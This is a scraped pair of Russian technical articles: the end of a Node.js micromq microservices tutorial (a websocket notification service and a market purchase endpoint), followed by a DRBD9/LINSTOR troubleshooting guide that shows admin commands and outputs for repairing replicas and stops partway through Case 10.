Гейтвей у нас состоит лишь из одного эндпоинта, но этого хватит для примера и тренировок.
### Пишем микросервис notifications
```
const MicroMQ = require('micromq');
const WebSocket = require('ws');
// создаем микросервис
const app = new MicroMQ({
name: 'notifications',
rabbit: {
url: process.env.RABBIT_URL,
},
});
// поднимаем сервер для принятия запросов по сокетам
const ws = new WebSocket.Server({
port: process.env.PORT,
});
// здесь будем хранить клиентов
const clients = new Map();
// ловим событие коннекта
ws.on('connection', (connection) => {
// ловим все входящие сообщения
connection.on('message', (message) => {
// парсим сообщение, чтобы извлечь оттуда тип события и параметры.
// не забудьте в продакшене добавить try/catch, когда будете парсить json!
const { event, data } = JSON.parse(message);
// на событие 'authorize' сохраняем коннект пользователя и связываем его с айди
if (event === 'authorize' && data.userId) {
// сохраняем коннект и связываем его с айди пользователя
clients.set(data.userId, connection);
}
});
});
// не забудьте реализовать удаление клиента после дисконнекта,
// иначе получите утечку памяти!
ws.on('close', ...);
// создаем действие notify, которое могут вызывать другие микросервисы
app.action('notify', (meta) => {
// если нет айди пользователя или текста, тогда возвращаем статус 400
if (!meta.userId || !meta.text) {
return [400, { error: 'Bad data' }];
}
// получаем коннект конкретного пользователя
const connection = clients.get(meta.userId);
// если не удалось найти коннект, тогда возвращаем статус 404
if (!connection) {
return [404, { error: 'User not found' }];
}
// отправляем сообщение клиенту
connection.send(meta.text);
// возвращаем 200 и ответ
return { ok: true };
});
// запускаем микросервис
app.start();
```
Здесь мы поднимаем вебсокет-сервер и микросервис одновременно, чтобы принимать запросы и по вебсокетам, и по RabbitMQ.
Схема следующая:
1. Пользователь устанавливает соединение с нашим вебсокет-сервером
2. Пользователь авторизовывается, отправляя событие `authorize` со своим userId внутри
3. Мы сохраняем соединение пользователя, чтобы в дальнейшем можно было отправлять ему уведомления
4. Приходит событие по RabbitMQ о том, что нужно отправить уведомление пользователю
5. Проверяем валидность входящих данных
6. Получаем соединение пользователя
7. Отправляем уведомление
### Пишем микросервис market
```
const MicroMQ = require('micromq');
const { Items } = require('./api/mongodb');
// создаем микросервис
const app = new MicroMQ({
name: 'market',
rabbit: {
url: process.env.RABBIT_URL,
},
});
// создаем эндпоинт для покупки предмета
app.post('/market/buy/:id', async (req, res) => {
const { id } = req.params;
// ищем предмет с нужным айди
const item = await Items.findOne({ id, isSold: false });
// если предмета нет, возвращаем 404
if (!item) {
res.status(404).json({
error: 'Item not found',
});
return;
}
// обновляем предмет, ставя флаг о том, что он продан
await Items.updateOne({
id,
}, {
$set: {
isSold: true,
},
});
// отправляем уведомление продавцу о том, что предмет продан
req.app.ask('notifications', {
server: {
action: 'notify',
meta: {
userId: item.sellerId,
text: JSON.stringify({
event: 'notification',
data: {
text: `Item #${id} was sold!`,
},
}),
},
},
})
// обрабатываем ошибку, если не получилось отправить уведомление
.catch(err => console.log('Cannot send message via notifications microservice', err));
// отвечаем пользователю о том, что все прошло успешно
res.json({
ok: true,
});
});
// запускаем микросервис
app.start();
```
Схема следующая:
1. Получаем запрос пользователя на покупку предмета
2. Ищем предмет с нужным айди и убеждаемся, что он еще не продан
3. Помечаем предмет как проданный
4. Отправляем в бэкграунде уведомление продавцу о продаже
5. Отвечаем клиенту
Проверяем
---------
1. Запускаем 3 процесса
2. Отправялем POST /market/buy/1
3. Получаем в ответ `{ ok: true }`
4. Продавец получает уведомление
```
$ PORT=9000 node ./src/gateway.js
$ PORT=9001 node ./src/notifications.js
$ MONGODB_URL=mongodb://localhost:27017/my-super-microservice node ./src/market.js
```
* [Ссылка на исходный код библиотеки](https://github.com/bifot/micromq)
* [Ссылка на пакет в NPM-registry](https://www.npmjs.com/package/micromq) | https://habr.com/ru/post/447250/ | null | ru | null |
# Траблшутинг DRBD9 в LINSTOR
За последние несколько лет плотной работы с LINSTOR и DRBD9 у меня накопилось достаточное количество проблем и рецептов решения для них, что мне захотелось оформить их в небольшую статью. Не уверен что они полностью совпадут с вашими случаями, но теперь вы хотя бы сможете понять механику работы с DRBD9, а именно, самую неприятную его часть — траблшутинг.
Информации по данному поводу в интернете немного, так что если вы используете или планируете использовать LINSTOR, уверен рано-или поздно вам эта информация может пригодиться.
Кейс 1: Unknown и DELETING ресурсы
==================================
```
# linstor r l -r one-vm-10417-disk-0
╭────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10417-disk-0 ┊ m14c18 ┊ 56263 ┊ ┊ ┊ Unknown ┊ 2021-07-09 14:20:31 ┊
┊ one-vm-10417-disk-0 ┊ m15c38 ┊ 56263 ┊ Unused ┊ Ok ┊ Diskless ┊ 2021-04-08 07:46:43 ┊
┊ one-vm-10417-disk-0 ┊ m8c12 ┊ 56263 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2020-10-14 13:10:42 ┊
╰────────────────────────────────────────────────────────────────────────────────────────╯
```
Как правило ничего критичного, просто нода на которой он находится скорее всего `OFFLINE`:
```
# linstor n l -n m14c18
╭─────────────────────────────────────────────────────────╮
┊ Node ┊ NodeType ┊ Addresses ┊ State ┊
╞═════════════════════════════════════════════════════════╡
┊ m14c18 ┊ SATELLITE ┊ 10.36.130.153:3367 (SSL) ┊ OFFLINE ┊
╰─────────────────────────────────────────────────────────╯
```
Проверьте запущен ли на ней linstor-satellite и доступен ли он для linstor-controller'а.
Если хотя бы один ресурс находится в `Unknown` статусе, то удаление любых других ресурсов будет зависать на `DELETING`. В последних версиях LINSTOR такие удаляемые ресурсы всё равно можно вернуть к жизни выполнив `resource create`, например:
```
# linstor r l -r one-vm-10417-disk-0
╭────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10417-disk-0 ┊ m14c18 ┊ 56263 ┊ ┊ ┊ Unknown ┊ 2021-07-09 14:20:31 ┊
┊ one-vm-10417-disk-0 ┊ m15c38 ┊ 56263 ┊ ┊ Ok ┊ DELETING ┊ 2021-04-08 07:46:43 ┊
┊ one-vm-10417-disk-0 ┊ m16c2 ┊ 56263 ┊ ┊ Ok ┊ DELETING ┊ 2021-05-01 03:36:21 ┊
┊ one-vm-10417-disk-0 ┊ m8c12 ┊ 56263 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2020-10-14 13:10:42 ┊
╰────────────────────────────────────────────────────────────────────────────────────────╯
# linstor r c m15c38 one-vm-10417-disk-0 --diskless
╭────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10417-disk-0 ┊ m14c18 ┊ 56263 ┊ ┊ ┊ Unknown ┊ 2021-07-09 14:20:31 ┊
┊ one-vm-10417-disk-0 ┊ m15c38 ┊ 56263 ┊ Unused ┊ Ok ┊ Diskless ┊ 2021-04-08 07:46:43 ┊
┊ one-vm-10417-disk-0 ┊ m16c2 ┊ 56263 ┊ ┊ Ok ┊ DELETING ┊ 2021-05-01 03:36:21 ┊
┊ one-vm-10417-disk-0 ┊ m8c12 ┊ 56263 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2020-10-14 13:10:42 ┊
╰────────────────────────────────────────────────────────────────────────────────────────╯
```
В любом случае, если ваша нода полностью вышла из строя, единственный способ удалить `Unknown` ресурс — это сделать `node lost`:
```
# linstor node lost m14c18
# linstor r l -r one-vm-10417-disk-0
╭────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10417-disk-0 ┊ m15c38 ┊ 56263 ┊ Unused ┊ Ok ┊ Diskless ┊ 2021-04-08 07:46:43 ┊
┊ one-vm-10417-disk-0 ┊ m8c12 ┊ 56263 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2020-10-14 13:10:42 ┊
╰────────────────────────────────────────────────────────────────────────────────────────╯
```
Как мы видим, остальные `DELETING` ресурсы так же исчезли. Такое поведение связанно с логикой DRBD. Если существует шанс что ресурс ещё остался где-то жить, есть вероятность того что он вернётся в кластер и произойдёт конфликт. Чтобы этого избежать, удалять Unknown ресурсы с ноды можно только путём удаления целиком неисправной ноды.
Кейс 2: Outdated-реплика
========================
По какой-то причине у нас образовалась Outdated-реплика:
```
# linstor r l -r one-vm-5899-disk-0
╭──────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞══════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-5899-disk-0 ┊ m11c30 ┊ 8306 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2021-02-03 09:43:02 ┊
┊ one-vm-5899-disk-0 ┊ m13c25 ┊ 8306 ┊ Unused ┊ Ok ┊ Outdated ┊ 2021-02-02 17:51:26 ┊
┊ one-vm-5899-disk-0 ┊ m15c25 ┊ 8306 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-01-18 15:51:40 ┊
╰──────────────────────────────────────────────────────────────────────────────────────╯
```
Пофиксить можно довольно просто:
```
root@m13c25:~# drbdadm disconnect one-vm-5899-disk-0
root@m13c25:~# drbdadm connect --discard-my-data one-vm-5899-disk-0
root@m13c25:~# drbdadm status one-vm-5899-disk-0
one-vm-5899-disk-0 role:Secondary
disk:UpToDate
m11c30 role:Secondary
peer-disk:UpToDate
m15c25 role:Primary
peer-disk:Diskless
```
> **Примечание:** флаг `--discard-my-data` имеет силу только при сплитбрейне, во всех остальных случаях его указание не имеет эфекта.
Кейс 3: Inconsistent-реплика
============================
Здесь по какой-то причине одна из реплик стала отображаться как `Inconsistent`
```
linstor r l -r one-vm-6372-disk-0
╭──────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞══════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-6372-disk-0 ┊ m10c17 ┊ 8262 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2021-02-03 09:43:31 ┊
┊ one-vm-6372-disk-0 ┊ m13c35 ┊ 8262 ┊ Unused ┊ Ok ┊ Inconsistent ┊ ┊
┊ one-vm-6372-disk-0 ┊ m8c10 ┊ 8262 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-01-05 20:22:14 ┊
╰──────────────────────────────────────────────────────────────────────────────────────────╯
linstor v l -r one-vm-6372-disk-0
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ Node ┊ Resource ┊ StoragePool ┊ VolNr ┊ MinorNr ┊ DeviceName ┊ Allocated ┊ InUse ┊ State ┊
╞══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ m10c17 ┊ one-vm-6372-disk-0 ┊ thindata ┊ 0 ┊ 2261 ┊ /dev/drbd2261 ┊ 19.38 GiB ┊ Unused ┊ UpToDate ┊
┊ m13c35 ┊ one-vm-6372-disk-0 ┊ thindata ┊ 0 ┊ 2261 ┊ /dev/drbd2261 ┊ 20.01 GiB ┊ Unused ┊ Inconsistent ┊
┊ m8c10 ┊ one-vm-6372-disk-0 ┊ DfltDisklessStorPool ┊ 0 ┊ 2261 ┊ /dev/drbd2261 ┊ ┊ InUse ┊ Diskless ┊
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Зайдя на ноду, мы можем обратить внимание что она находится в состоянии синка:
```
root@m13c35:~# drbdadm status one-vm-6372-disk-0
one-vm-6372-disk-0 role:Secondary
disk:Inconsistent
m10c17 role:Secondary
replication:SyncTarget peer-disk:UpToDate done:51.52
m8c10 role:Primary
peer-disk:Diskless
```
Попробуем переподключить её ко второй diskful-реплике:
```
root@m13c35:~# drbdadm disconnect one-vm-6372-disk-0:m10c17
root@m13c35:~# drbdadm connect one-vm-6372-disk-0:m10c17
root@m13c35:~# drbdadm status one-vm-6372-disk-0
one-vm-6372-disk-0 role:Secondary
disk:Inconsistent
m10c17 role:Secondary
replication:SyncTarget peer-disk:UpToDate done:0.00
m8c10 role:Primary
peer-disk:Diskless
```
Хм, теперь репликация зависла на нуле процентов, к чёрту, давайте пересоздадим ресурс:
```
linstor r d m13c35 one-vm-6372-disk-0
linstor rd ap one-vm-6618-disk-9
linstor r l -r one-vm-6372-disk-0
╭────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-6372-disk-0 ┊ m10c17 ┊ 8262 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2021-02-03 09:43:31 ┊
┊ one-vm-6372-disk-0 ┊ m13c35 ┊ 8262 ┊ Unused ┊ Ok ┊ SyncTarget(43.43%) ┊ 2021-07-09 13:36:51 ┊
┊ one-vm-6372-disk-0 ┊ m8c10 ┊ 8262 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-01-05 20:22:14 ┊
╰────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Ура, репликация пошла!
> **Примечание:** Кейс 7 в данном случае показывает, что `drbdadm down / up` на `m13c35` скорее всего вернуло бы реплику к жизни.
Кейс 4: StandAlone по отношению к diskless-реплике
==================================================
```
linstor r l -r one-vm-8586-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8586-disk-0 ┊ m11c42 ┊ 8543 ┊ Unused ┊ StandAlone(m13c34) ┊ Outdated ┊ 2020-11-28 22:07:23 ┊
┊ one-vm-8586-disk-0 ┊ m13c17 ┊ 8543 ┊ Unused ┊ Ok ┊ Diskless ┊ ┊
┊ one-vm-8586-disk-0 ┊ m13c34 ┊ 8543 ┊ InUse ┊ Connecting(m11c42) ┊ Diskless ┊ 2021-01-20 14:40:04 ┊
┊ one-vm-8586-disk-0 ┊ m15c36 ┊ 8543 ┊ Unused ┊ Ok ┊ UpToDate ┊ ┊
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Здесь мы видим что ресурс на `m11c42` находится в состоянии `StandAlone` по отношению к diskless-реплике на `m13c34`. Ресурсы переходят в `StandAlone` когда замечают несоответсвия в данных между собой. Лечится довольно просто:
```
root@m11c42:~# drbdadm disconnect one-vm-8586-disk-0
root@m11c42:~# drbdadm connect one-vm-8586-disk-0 --discard-my-data
root@m11c42:~# drbdadm status one-vm-8586-disk-0
one-vm-8586-disk-0 role:Secondary
disk:UpToDate
m13c17 role:Secondary
peer-disk:Diskless
m13c34 role:Primary
peer-disk:Diskless
m15c36 role:Secondary
peer-disk:UpToDate
```
Кейс 5: StandAlone по отношению к diskful-реплике
=================================================
Здесь у нас другая ситуация, ресурс на `m11c44` находится в `StandAlone` к другой diskful-реплике на `m10c27`:
```
# linstor r l -r one-vm-8536-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8536-disk-0 ┊ m10c27 ┊ 8656 ┊ Unused ┊ Connecting(m11c44) ┊ UpToDate ┊ 2021-02-02 17:41:36 ┊
┊ one-vm-8536-disk-0 ┊ m11c44 ┊ 8656 ┊ Unused ┊ StandAlone(m10c27) ┊ Outdated ┊ 2021-02-03 09:51:30 ┊
┊ one-vm-8536-disk-0 ┊ m13c29 ┊ 8656 ┊ Unused ┊ Ok ┊ Diskless ┊ ┊
┊ one-vm-8536-disk-0 ┊ m13c9 ┊ 8656 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-01-21 09:21:55 ┊
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯
root@m11c44:~# drbdadm status one-vm-8536-disk-0
one-vm-8536-disk-0 role:Secondary
disk:Outdated quorum:no
m10c27 connection:StandAlone
m13c29 role:Secondary
peer-disk:Diskless
m13c9 role:Primary
peer-disk:Diskless
```
Мы можем попробовать её починить, также как и в прошлом кейсе:
```
root@m11c44:~# drbdadm disconnect one-vm-8536-disk-0
root@m11c44:~# drbdadm connect one-vm-8536-disk-0 --discard-my-data
root@m11c44:~# drbdadm status one-vm-8536-disk-0
one-vm-8536-disk-0 role:Secondary
disk:Outdated quorum:no
m10c27 connection:StandAlone
m13c29 role:Secondary
peer-disk:Diskless
m13c9 role:Primary
peer-disk:Diskless
```
Но после подключения реплика практически моментально возвращается обратно в `StandAlone`. В dmesg для этого ресурса можно увидить, ошибку `Unrelated data, aborting!`:
```
[706520.163680] drbd one-vm-8536-disk-0/0 drbd2655 m10c27: drbd_sync_handshake:
[706520.163691] drbd one-vm-8536-disk-0/0 drbd2655 m10c27: self E54E31513A64A2EE:0000000000000000:35BC97142AF7A8A4:0000000000000000 bits:1266688 flags:3
[706520.163699] drbd one-vm-8536-disk-0/0 drbd2655 m10c27: peer 591D9E9CA26B4F98:66E67F43AB59AB30:4F01DD98B884F10E:0000000000000000 bits:24982941 flags:1100
[706520.163708] drbd one-vm-8536-disk-0/0 drbd2655 m10c27: uuid_compare()=unrelated-data by rule=history-both
[706520.163710] drbd one-vm-8536-disk-0/0 drbd2655: Unrelated data, aborting!
[706520.528669] drbd one-vm-8536-disk-0 m10c27: Aborting remote state change 1918960097
```
Такой ресурс проще удалить и создать заново:
```
linstor r d m11c44 one-vm-8536-disk-0
linstor rd ap one-vm-8536-disk-0
linstor r l -r one-vm-8536-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8536-disk-0 ┊ m10c27 ┊ 8656 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2021-02-02 17:41:36 ┊
┊ one-vm-8536-disk-0 ┊ m11c44 ┊ 8656 ┊ Unused ┊ Ok ┊ SyncTarget(0.48%) ┊ 2021-07-09 15:40:17 ┊
┊ one-vm-8536-disk-0 ┊ m13c29 ┊ 8656 ┊ Unused ┊ Ok ┊ Diskless ┊ ┊
┊ one-vm-8536-disk-0 ┊ m13c9 ┊ 8656 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-01-21 09:21:55 ┊
╰───────────────────────────────────────────────────────────────────────────────────────────────╯
```
Кейс 6: Consistent-реплика
==========================
Почти тоже самое что и предыдущий кейс, но вместо `StandAlone` реплика помечена как `Consistent`:
```
linstor r l -r one-vm-8379-disk-0
╭─────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8379-disk-0 ┊ m13c40 ┊ 8052 ┊ Unused ┊ StandAlone(m14c6) ┊ Consistent ┊ 2021-02-02 18:03:36 ┊
┊ one-vm-8379-disk-0 ┊ m14c15 ┊ 8052 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-02-03 07:53:58 ┊
┊ one-vm-8379-disk-0 ┊ m14c6 ┊ 8052 ┊ Unused ┊ StandAlone(m13c40) ┊ UpToDate ┊ ┊
╰─────────────────────────────────────────────────────────────────────────────────────────────────────╯
linstor v l -r one-vm-8379-disk-0
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ Node ┊ Resource ┊ StoragePool ┊ VolNr ┊ MinorNr ┊ DeviceName ┊ Allocated ┊ InUse ┊ State ┊
╞════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ m13c40 ┊ one-vm-8379-disk-0 ┊ thindata ┊ 0 ┊ 2051 ┊ /dev/drbd2051 ┊ 24.16 GiB ┊ Unused ┊ Consistent ┊
┊ m14c15 ┊ one-vm-8379-disk-0 ┊ DfltDisklessStorPool ┊ 0 ┊ 2051 ┊ /dev/drbd2051 ┊ ┊ InUse ┊ Diskless ┊
┊ m14c6 ┊ one-vm-8379-disk-0 ┊ thindata ┊ 0 ┊ 2051 ┊ /dev/drbd2051 ┊ 40.01 GiB ┊ Unused ┊ UpToDate ┊
╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
В dmesg можно также обнаружить `Unrelated data`:
```
root@m14c6:~# dmesg |grep one-vm-8379-disk-0 | grep 'Unrelated data'
[2983657.291734] drbd one-vm-8379-disk-0/0 drbd2051: Unrelated data, aborting!
[2983659.335697] drbd one-vm-8379-disk-0/0 drbd2051: Unrelated data, aborting!
```
пересоздаём девайс:
```
linstor r d m13c40 one-vm-8379-disk-0
linstor rd ap one-vm-8379-disk-0
linstor r l -r one-vm-8379-disk-0
╭───────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8379-disk-0 ┊ m11c44 ┊ 8052 ┊ Unused ┊ Ok ┊ SyncTarget(8.62%) ┊ 2021-07-09 15:44:51 ┊
┊ one-vm-8379-disk-0 ┊ m14c15 ┊ 8052 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-02-03 07:53:58 ┊
┊ one-vm-8379-disk-0 ┊ m14c6 ┊ 8052 ┊ Unused ┊ Ok ┊ UpToDate ┊ ┊
╰───────────────────────────────────────────────────────────────────────────────────────────────╯
```
Репликация пошла, ура!
Кейс 7: Классический split-brain
================================
Здесь у нас две diskful-реплики, которые не могут договориться между ссобой:
```
# linstor r l -r one-vm-8373-disk-2
╭───────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═══════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-8373-disk-2 ┊ m11c12 ┊ 8069 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-01-05 19:06:18 ┊
┊ one-vm-8373-disk-2 ┊ m13c23 ┊ 8069 ┊ Unused ┊ StandAlone(m14c6) ┊ Outdated ┊ ┊
┊ one-vm-8373-disk-2 ┊ m14c6 ┊ 8069 ┊ Unused ┊ StandAlone(m13c23) ┊ UpToDate ┊ ┊
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯
# linstor v l -r one-vm-8373-disk-2
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ Node ┊ Resource ┊ StoragePool ┊ VolNr ┊ MinorNr ┊ DeviceName ┊ Allocated ┊ InUse ┊ State ┊
╞══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ m11c12 ┊ one-vm-8373-disk-2 ┊ DfltDisklessStorPool ┊ 0 ┊ 2068 ┊ /dev/drbd2068 ┊ ┊ InUse ┊ Diskless ┊
┊ m13c23 ┊ one-vm-8373-disk-2 ┊ thindata ┊ 0 ┊ 2068 ┊ /dev/drbd2068 ┊ 19.51 GiB ┊ Unused ┊ Outdated ┊
┊ m14c6 ┊ one-vm-8373-disk-2 ┊ thindata ┊ 0 ┊ 2068 ┊ /dev/drbd2068 ┊ 19.51 GiB ┊ Unused ┊ UpToDate ┊
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Выбираем реплику на которой мы хотим заменить данные, и выполняем реконнект с discard-my-data на ней:
```
root@m13c23:~# drbdadm status one-vm-8373-disk-2
one-vm-8373-disk-2 role:Secondary
disk:Outdated quorum:no
m11c12 role:Primary
peer-disk:Diskless
m14c6 connection:StandAlone
root@m13c23:~# drbdadm disconnect one-vm-8373-disk-2
root@m13c23:~# drbdadm connect one-vm-8373-disk-2 --discard-my-data
root@m13c23:~# drbdadm status one-vm-8373-disk-2
one-vm-8373-disk-2 role:Secondary
disk:Outdated quorum:no
m11c12 role:Primary
peer-disk:Diskless
m14c6 connection:Connecting
```
Она переходит в Connecting, теперь нам нужно передёрнуть вторую реплику:
```
root@m14c6:~# drbdadm disconnect one-vm-8373-disk-2:m13c23
root@m14c6:~# drbdadm connect one-vm-8373-disk-2:m13c23
root@m14c6:~# drbdadm status one-vm-8373-disk-2
one-vm-8373-disk-2 role:Secondary
disk:UpToDate
m11c12 role:Primary
peer-disk:Diskless
m13c23 role:Secondary congested:yes ap-in-flight:0 rs-in-flight:2264
replication:SyncSource peer-disk:Inconsistent done:72.42
root@m14c6:~# drbdadm status one-vm-8373-disk-2
one-vm-8373-disk-2 role:Secondary
disk:UpToDate
m11c12 role:Primary
peer-disk:Diskless
m13c23 role:Secondary
peer-disk:UpToDate
```
Кейс 8: Застрявший SyncTarget
=============================
Синхронизация застряла на 81.71% и не двигается
```
# linstor r l -r one-vm-7584-disk-0
╭────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-7584-disk-0 ┊ m11c24 ┊ 8006 ┊ InUse ┊ Ok ┊ Diskless ┊ 2021-01-18 13:55:17 ┊
┊ one-vm-7584-disk-0 ┊ m13c3 ┊ 8006 ┊ Unused ┊ Ok ┊ SyncTarget(81.71%) ┊ ┊
┊ one-vm-7584-disk-0 ┊ m8c37 ┊ 8006 ┊ Unused ┊ Ok ┊ UpToDate ┊ 2021-02-03 09:47:01 ┊
╰────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Попробуем выполнить реконнект:
```
root@m13c3:~# drbdadm status one-vm-7584-disk-0
one-vm-7584-disk-0 role:Secondary
disk:Inconsistent
m11c24 role:Primary
peer-disk:Diskless
m8c37 role:Secondary
replication:SyncTarget peer-disk:UpToDate done:81.71
root@m13c3:~# drbdadm disconnect one-vm-7584-disk-0:m8c37
root@m13c3:~# drbdadm connect one-vm-7584-disk-0:m8c37
root@m13c3:~# drbdadm status one-vm-7584-disk-0
one-vm-7584-disk-0 role:Secondary
disk:Inconsistent
m11c24 role:Primary
peer-disk:Diskless
m8c37 role:Secondary
replication:SyncTarget peer-disk:UpToDate done:0.00
```
Теперь репликация зависла на нуле процентов, попробуем полностью потушить девайс и завести снова:
```
root@m13c3:~# drbdadm down one-vm-7584-disk-0
root@m13c3:~# drbdadm up one-vm-7584-disk-0
root@m13c3:~# drbdadm status one-vm-7584-disk-0
one-vm-7584-disk-0 role:Secondary
disk:Inconsistent quorum:no
m11c24 role:Primary
peer-disk:Diskless
m8c37 connection:Connecting
root@m13c3:~# drbdadm status one-vm-7584-disk-0
one-vm-7584-disk-0 role:Secondary
disk:UpToDate
m11c24 role:Primary
peer-disk:Diskless
m8c37 role:Secondary
peer-disk:UpToDate
```
Ура, дело сделано!
Кейс 9: Outdated-реплика, которая Connecting
============================================
```
# linstor r l -r one-vm-7577-disk-2
╭────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-7577-disk-2 ┊ m10c21 ┊ 57064 ┊ Unused ┊ Ok ┊ Diskless ┊ 2021-02-05 20:52:31 ┊
┊ one-vm-7577-disk-2 ┊ m13c10 ┊ 57064 ┊ InUse ┊ Ok ┊ UpToDate ┊ 2021-02-05 20:52:23 ┊
┊ one-vm-7577-disk-2 ┊ m14c29 ┊ 57064 ┊ Unused ┊ Connecting(m13c10) ┊ Outdated ┊ 2021-02-05 20:52:26 ┊
╰────────────────────────────────────────────────────────────────────────────────────────────────────╯
```
Похоже на Кейс 2, и фиксится так же:
```
root@m14c29:~# drbdadm status one-vm-7577-disk-2
one-vm-7577-disk-2 role:Secondary
disk:Outdated
m10c21 role:Secondary
peer-disk:Diskless
m13c10 connection:Connecting
root@m14c29:~# drbdadm disconnect one-vm-7577-disk-2
root@m14c29:~# drbdadm connect one-vm-7577-disk-2
root@m14c29:~# drbdadm status one-vm-7577-disk-2
one-vm-7577-disk-2 role:Secondary
disk:UpToDate
m10c21 role:Secondary
peer-disk:Diskless
m13c10 role:Primary
peer-disk:UpToDate
```
Кейс 10: Unconnected / Connecting / NetworkFailure
==================================================
> **Примечание:**: Кейсы 10 и 11 вызваны [проблемой](https://github.com/LINBIT/linstor-server/issues/150#issuecomment-882489597), которая должна быть исправлена в выпуске LINSTOR v1.14.0
Ресурсы переодично флапают между этими статусами:
```
# linstor r l -r one-vm-10154-disk-0
╭─────────────────────────────────────────────────────────────────────────────────────────────────────╮
┊ ResourceName ┊ Node ┊ Port ┊ Usage ┊ Conns ┊ State ┊ CreatedOn ┊
╞═════════════════════════════════════════════════════════════════════════════════════════════════════╡
┊ one-vm-10154-disk-0 ┊ m11c37 ┊ 56031 ┊ Unused ┊ Ok ┊ UpToDate ┊ ┊
┊ one-vm-10154-disk-0 ┊ m15c6 ┊ 56031 ┊ Unused ┊ Connecting(m11c37) ┊ Diskless ┊ 2021-04-08 07:46:40 ┊
┊ one-vm-10154-disk-0 ┊ m8c11 ┊ 56031 ┊ Unused ┊ Unconnected(m8c8) ┊ Outdated ┊ ┊
┊ one-vm-10154-disk-0 ┊ m8c8 ┊ 56031 ┊ InUse ┊ Unconnected(m8c11) ┊ Diskless ┊ 2021-04-08 09:04:32 ┊
╰─────────────────────────────────────────────────────────────────────────────────────────────────────╯
